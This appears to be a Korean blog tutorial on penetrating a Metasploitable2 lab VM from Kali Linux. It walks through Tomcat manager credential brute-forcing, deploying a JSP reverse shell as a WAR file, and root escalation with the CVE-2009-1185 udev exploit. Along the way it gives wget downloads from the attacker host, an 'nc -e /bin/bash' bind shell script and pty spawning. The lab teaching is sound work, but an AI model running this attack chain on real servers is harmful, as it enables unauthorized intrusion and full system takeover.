오늘은 칼리리눅스에 내장된 메타스플로잇(Metasploit)이라는 툴을 이용하여 메타스플로잇터블 2(Metasploitable) 서버를 침투하는 과정을 실습해 볼 것입니다.
- 공격자 서버: kali linux
- 타겟 서버: metasploitable2
- 실습 전 준비물: metasploit , nmap
※ 공격시나리오
- 정보수집 (nmap 사용)
- 침투 (metasploit 사용)
- 권한획득 (리버스 쉘 이용)
- 권한상승 (CVE-2009-1185 취약점 관련 내용 사용)
<환경세팅>
- 우선 Metaexploitable2 가 없으신 분들은 아래 페이지에서 다운로드하신 후 VMware에 추가해 주세요.
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
실습 전에 칼리리눅스와 메타익스플로잇터블 OS의 네트워크 설정을 해줘야 합니다.
VMware에서 각 OS의 설정창을 열어 다음과 같이 세팅해 줍니다.
- kail > 네트워크 어댑터 2개 (NAT , Host-Only)
- metaexplitable > 네트워크 어댑터 1개 (Host-Only)
칼리 리눅스 | 메타익스플로잇터블 |
이후 Metaexploitable2 OS를 실행시켜 줍니다.
1. 정보수집
1.1 우선 정보수집을 위해 칼리리눅스에서 현재 할당된 IP주소 대역을 확인합니다. 제 경우엔 192.168.76.128이 제 내부 IP로 할당이 되어있었습니다. 하지만 kail의 IP주소가 192.168.76.128 라면 metaexploitable2의 IP주소도 같은 내부망이기에 이 체계(192.168.76.***)를 가질 겁니다. 따라서 fping-g -a 192.168.76.0/24 명령어를 통해 192.168.76.1~254까지 전부 확인하여 열려있는 IP주소를 체크하였고 체크해 본 결과 192.168.76.129라는 IP가 열려있는 것을 확인하였습니다.
즉 이를 통해 저희는 Kail와 Metaexploitable2의 IP주소를 알 수 있게 되었습니다.
kail(attacker) IP : 192.168.76.128
metaexploitable2 IP : 192.168.76.129
> 사용된 명령어 : fping-g -a 192.168.76.0/24
1.2 이제 타깃주소로 Nmap을 사용하겠습니다.
> 사용된 명령어 : sudo nmap -sS -sV 192.168.76.129
1.3 이번 실습에선 8180 포트에 열려있는 Apache Tocat 서버를 타깃으로 하겠습니다. 또한 바로 밑에 보시면 이 서버의 운영체제가 Linux라는 정보도 확인하실 수 있습니다.
2. 침투
2.1 본격적인 침투를 위하여 타깃서버인 192.168.76.129:8180에 접속하여 페이지를 확인합니다. 왼쪽 메뉴에 Tomcat Manager라는 관리자 페이지가 보이니 접속을 해봅니다.
2.2 관리자 페이지에 접속을 하려면 아이디와 패스워드가 필요한 것을 보실 수 있습니다. 이를 알아내기 위하여 메타스플로잇 툴을 사용해 줄 것입니다.
2.3 명령어 창으로 돌아와서 msfconsole를 입력 후에 메타스플로잇 툴을 실행시켜 줍니다.
2.4 이후 아까 전에 nmap으로 봤던 Apache Tomcat이라는 정보를 사용하여 공격에 필요한 모듈을 찾아줍니다.
> 사용된 명령어 : search Apache Tomcat
2.5 밑으로 내려보다 보니 41번 모듈의 이름이 tomcat_mgr_login라고 되어있습니다. 설명을 보니 관리자 페이지에 필요한 로그인 정보를 찾아주는 모듈인 것 같습니다. 이 모듈로 공격을 하기로 결정했습니다. 이제 이 모듈을 사용하기 위해서 다음의 명령어를 입력하여 줍니다.
> 사용된 명령어 : use 41 (= 41번 모듈을 사용할 것이라는 명령어)
2.6 이후 모듈을 가져왔으니 모듈 안에 구성품을 조립해 줄 차례입니다. 어떤 옵션들이 있는지 확인을 위하여 show options라는 명령어를 통해 확인을 해봅니다.
> 사용된 명령어 : show options
여러 옵션들이 있지만 저희가 삽입해 줄 것은 RHOSTS와 RPORT라는 부분입니다.
- RHOST = 공격대상 서버주소
- RPORT = 공격대상의 열려있는 포트번호
2.7 set 명령어를 통해 RHOST와 RPORT 부분에 타깃정보를 삽입해 줌으로써 공격을 준비합니다.
> 사용한 명령어
1. set rhosts [타깃 IP주소]
2. set rport [포트번호]
2.8 The connection was refused라는 에러메시지가 떴습니다.. 뭐가 문제일까 하여 다시 옵션창을 살펴보았습니다..
2.9 아이고! 포트번호를 8180 이 아니라 8081로 잘못 적었습니다!.. 이제 다시 수정 후 진행하여 보겠습니다.
2.10 실행하자 여러 ID와 Password의 조합을 브루트포스 공격하는 것을 보실 수 있습니다. 그중에 [+] 표시가 뜬 부분을 살펴보니 ID : tomcat , Pass : tomcat이라는 것을 확인할 수 있었습니다.
2.11 관리자 페이지에 해당 정보를 가지고 접속해 보겠습니다.
2.12 무사히 관리자 페이지로 접속할 수 있었습니다! 이로써 관리자 계정으로 페이지에 접속하는 침투과정을 마쳤습니다.
3. 권한획득
3.1 서버 컴퓨터의 권한을 획득하기 위하여 웹쉘을 올릴 방법을 찾아보겠습니다. 관리자 페이지에 보시면 WAR file to deploy라는 메뉴가 보입니다. WAR 파일을 배포할 수 있는 기능으로 보입니다. 이를 통해 웹쉘파일을 첨부하여 서버의 권한을 획득해 보도록 하겠습니다.
3.2 실습에 사용될 웹쉘은 칼리리눅스에 기본적으로 있는 webshell을 사용해 주겠습니다. 웹쉘은 칼리리눅스 폴더 중 /usr/share/webshells 디렉터리에 웹쉘파일이 있습니다. 저는 jsp 디렉토리 안에 있는 jsp-reverse.jsp 파일을 이용해줄 것입니다.
3.3 웹쉘파일을 home 폴더로 카피를 해줍니다. 꼭 home 폴더가 아니라 찾기 쉬운 폴더 어디든 상관없습니다.
3.4 이후 jsp-reverse.jsp 파일을 열어서 확인하다 보면 밑에 cmd.exe를 실행하라는 코드가 있습니다.
저희가 아까 Nmap으로 확인해 본 결과 OS가 Linux였기 때문에 이 부분을 /bin/bash로 바꿔준 후 저장합니다.
3.5 이후 jsp-reverse.jsp 파일을 zip 파일로 압축시켜 줍니다. 왜냐하면 Tomcat 관리자서버엔 WAR 확장자여야만 배포가 되므로 zip 파일로 압축 후 WAR확장자로 바꿔줄 것입니다.
3.6 위에서 언급했다시피 zip 파일로 압축 후 zip 확장자를 war로 바꿔준 후 저장합니다.
3.7 이후 관리자 페이지에 업로드 후 Deploy 합니다.
3.8 이후 Message에 ok 가 출력이 되고, Applications에 jsp-reverse 디렉터리가 생겼으면 성공입니다!
3.9 이후 주소창에 업로드했던 디렉터리에 접근하기 위하여 192.168.76.129:8180/jsp-reverse/jsp-reverse.jsp 로 접근합니다. 이후 IP Address와 Port를 적는 란이 보일 것입니다. 이는 웹서버에 심어놓은 리버스 쉘로 IP Address = kail IP , Port =kail 에서 열어준 Port 를 적어야 합니다.
이를 위해서 칼리리눅스 명령어창을 통해 nc 명령어로 수신대기 상태로 만들어주겠습니다.
3.10 칼리리눅스에서 nc -lvp 4445 명령어를 입력하여 192.168.76.128:4445 포트를 열어준 후 수신대기 합니다.
3.11 이제 다시 리버스 쉘 파일로 돌아와 열어주었던 포트의 정보를 적은 후 Connect를 눌러줍니다.
3.12 칼리로 와보면 192.168.76.129라는 서버에서 연결요청이 온 것을 확인할 수 있습니다. 리버스 쉘이 연결되었는지 확인을 위해 id 라는 명령어를 입력해보면 tomcat 서버의 파일에 접근할 수 있는 권한을 얻은것을 확인할 수 있습니다. 하지만 아직 Root 권한을 얻지 못했기 때문에 권한 상승을 시도해 보겠습니다.
4. 권한상승
권한상승을 위해서 아래 사이트의 설명을 참고하였습니다. CVE-2009-1185 취약점을 토대로 작성하신 방법으로 명령어 순으로 잘 설명되어있으니 글을 읽다가 이해가 안 되실 때 참고하시면 좋을 것 같습니다.
4.1 우선 아래 사이트에서 8572.c라는 파일을 kail linux에 다운로드하여줍니다. 리눅스 내에 udev와 netlink 사이에서 검증미흡으로 발생한 문제를 권한상승으로 이어지게 만든 파일입니다.
https://www.exploit-db.com/exploits/8572/
4.2 다운로드한 것을 확인하신 후 새로운 명령어 창을 열어 8572.c 파일이 있는 위치에서 python을 이용하여 서버를 열어줍니다. 칼리에 있는 파일을 타깃서버로 업로드해주기 위해 열어준 것입니다.
> 사용한 명령어 : python3 -m http.server
4.3 그러면 다시 3.12 부분에서 타깃서버와 연결했던 명령어창으로 돌아와서 열어둔 파이썬 서버 디렉터리에 있는 파일을 다운로드해주는 명령어를 입력합니다. 여기서 중요한 점은 cd /tmp로 tmp 디렉터리에 접근한 후 tmp 디렉토리 내부에 파일을 다운로드해주셔야 한다는 것입니다. 다른 디렉터리는 권한문제로 다운로드가 안될 것입니다.
> 사용된 명령어 : wget http://192.168.24.128:8000/8572.c
4.4 ls 명령어로 8572.c 파일이 tmp디렉터리에 무사히 다운로드된 것을 확인하실 수 있습니다.
4.5 이후 실행파일로 만들기 위하여 gcc 명령어를 이용하여 8572.c 를 컴파일해줍니다.
> 사용된 명령어 : gcc -o 8572 8572.c (8572.c라는 파일을 8572라는 실행파일로 컴파일해라)
4.6 이후 netlink socket의 PID 값을 알기 위하여 cat /proc/net/netlink를 입력하여 소켓의 PID 값을 알아냅니다.
사진에서 확인된 udev와의 netlink socket의 PID는 2739입니다.
> 사용된 명령어 : cat /proc/net/netlink
4.7 이후 run이라는 파일을 생성하여 다음과 같은 코드를 작성해 줍니다.
### 코드설명 ###
#!/bin/bash : 파일이 실행되면 bash 프로그램(명령어창)으로 코드를 실행하라
nc -lvvp 2345 -e /bin/bash : 2345 포트를 열어두고 수신대기를 하다가 연결되면 /bin/bash 프로그램을 실행하라
#!/bin/bash
nc -lvvp 2345 -e /bin/bash
4.8 이후 아까 전과 같이 한쪽 명령어 창에선 칼리에서 파이썬 서버를 열어주고 다른 명령어창으로 wget 명령어를 사용하여 방금 작성했던 run 파일을 가져옵니다.
> 사용된 명령어 : wget 192.168.76.128:8000/run
4.9 이후 8572 프로그램이 있는 tmp 디렉터리에서./8572 2739를 입력하여 8572 파일을 실행하여 줍니다.
여기서 2739는 아까 확인했던 netlink socket PID입니다.
> 사용된 명령어 :./8572 2739
4.10 자 마지막 단계입니다. 바로 위에서 8572 파일을 실행한 후 벌어진 상황을 요약해 드리겠습니다.
요약 : 8572 프로그램이 실행됨 > 이로 인해 타깃서버 컴퓨터에선 run파일이 실행됨 > run파일에선 nc명령어를 실행해서 2345 포트로 수신대기 하도록 코드를 작성하였기 때문에 웹서버가 2345 포트를 열어놓은 상태로 대기하는 중> 여기로 접속할 시 웹서버에서 /bin/bash 프로그램을 실행할 것임.
그러므로 이제 저희는 웹서버가 열어놓은 포트로 접속만 하면 됩니다! 사용해 줄 명령어는 다음과 같습니다.
1.step
> nc -vn 192.168.76.129 2345 (웹서버와 연결이 되고 root 권한으로 /bin/bash 파일이 실행됨)
2.step
> python -c "import pty;pty.spawn('/bin/bash')" (pty 모듈을 통해 /bin/bash를 실행함)
이후 id 명령어를 통해 확인해 보면 root 권한으로 bash가 실행되는 것을 확인하실 수 있습니다!!!
<호기심 포인트>
1. 왜 8572 파일로 실행하면 root 권한을 갖는가?
> 저희가 사용한 cve 취약점은 netlink socket을 통해 udev와 통신하는 과정에서 누가 보낸 요청인지 검증하는 과정이 없기 때문에 발생한 취약점이었습니다. 여기서 문제는 udev는 관리자 권한으로 프로그램을 실행한다는 점인데, 만약 관리자인지 확인도 안 하고 udev가 " /bin/bash를 실행해줘" 라는 요청을 수락해버리면 관리자 권한으로 /bin/bash 를 실행하기 때문에 root 권한으로의 권한상승이 가능했던 것입니다.
2. 4.10 문단을 보면 1.step 에서 /bin/bash를 실행했는데 왜굳이 2.step 에서 또 /bash를 실행해 주는가?
이것은 리버스 셸에 한계 때문입니다. 리버스 셸이란 서버에서 클라이언트로 셀 셰션을 연결해 주지만 vi 편집기 라든가 cntl 버튼과 연동하는 단축키가 안 먹히는 등 여러 가지 명령어의 제약이 생깁니다. 하지만 일단 리버스 셸로 셸을 띄운 후 pty 모듈을 이용하여 가상터미널을 만든 후 /bash를 실행하면 저희가 쓰는 명령어창처럼 완전한 기능으로 동작할 수 있게 됩니다. 그래서 /bin/bash를 두 번이나 쓰는 과정이 존재했던 것입니다.
긴 글 읽어주셔서 감사합니다!!!
'Kail Linux' 카테고리의 다른 글
[Wireless Hacking] 칼리 리눅스 이용한 WPA 무선랜 패스워드 해킹 (2) | 2024.09.11 |
---|